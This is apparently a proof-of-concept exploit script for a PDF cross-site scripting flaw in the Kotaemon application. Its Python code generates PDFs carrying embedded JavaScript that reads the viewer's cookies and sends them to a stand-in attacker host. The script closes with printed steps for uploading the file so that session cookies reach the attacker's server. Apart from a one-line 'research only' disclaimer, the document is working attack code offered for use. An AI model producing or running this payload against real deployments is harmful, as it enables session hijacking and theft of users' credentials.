The following code is for security research and authorized testing only.
python
'''
CVE-2025-56526 PoC - Kotaemon PDF XSS Vulnerability
This PoC demonstrates how to create a malicious PDF with embedded JavaScript
that will execute when opened in Kotaemon application.
'''
from pypdf import PdfWriter, PdfReader
from pypdf.generic import DictionaryObject, ArrayObject, NameObject, NumberObject, TextStringObject
def create_malicious_pdf(output_path):
"""
Create a malicious PDF with embedded JavaScript for XSS attack
"""
# Create a new PDF
writer = PdfWriter()
# Add a simple page
from pypdf import PageObject
page = PageObject.create_blank_page(width=612, height=792)
writer.add_page(page)
# Add JavaScript action to the PDF
# This JavaScript will execute when the PDF is opened
malicious_js = """
app.alert('XSS Payload Executed!\\nStealing cookies: ' + document.cookie);
// Attempt to steal sensitive data
try {
var img = document.createElement('img');
img.src = 'http://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
} catch(e) {}
"""
# Add the JavaScript action
# Using catalog dictionary to add OpenAction
writer.add_js(malicious_js)
# Write the malicious PDF
with open(output_path, 'wb') as f:
writer.write(f)
print(f"Malicious PDF created: {output_path}")
print("Upload this PDF to Kotaemon to trigger the XSS vulnerability")
# Alternative: Create PDF with JavaScript in document-level scripts
def create_malicious_pdf_alt(output_path):
"""
Alternative method using document actions
"""
from pypdf import PdfWriter
from pypdf.generic import DictionaryObject, ArrayObject, NameObject
writer = PdfWriter()
# Create page
from pypdf import PageObject
page = PageObject.create_blank_page(width=612, height=792)
writer.add_page(page)
# Add JavaScript via catalog OpenAction
js_action = DictionaryObject()
js_action[NameObject('/S')] = NameObject('/JavaScript')
js_action[NameObject('/JS')] = TextStringObject(
'app.alert("CVE-2025-56526 XSS - Cookie Theft: " + document.cookie);'
)
# Set OpenAction in catalog
writer._root_object[NameObject('/OpenAction')] = js_action
with open(output_path, 'wb') as f:
writer.write(f)
if __name__ == '__main__':
create_malicious_pdf('malicious_cve_2025_56526.pdf')
print("\nPoC instructions:")
print("1. Generate the malicious PDF using this script")
print("2. Upload the PDF to Kotaemon application")
print("3. When users view the PDF, the JavaScript will execute")
print("4. Attacker's server will receive stolen session cookies")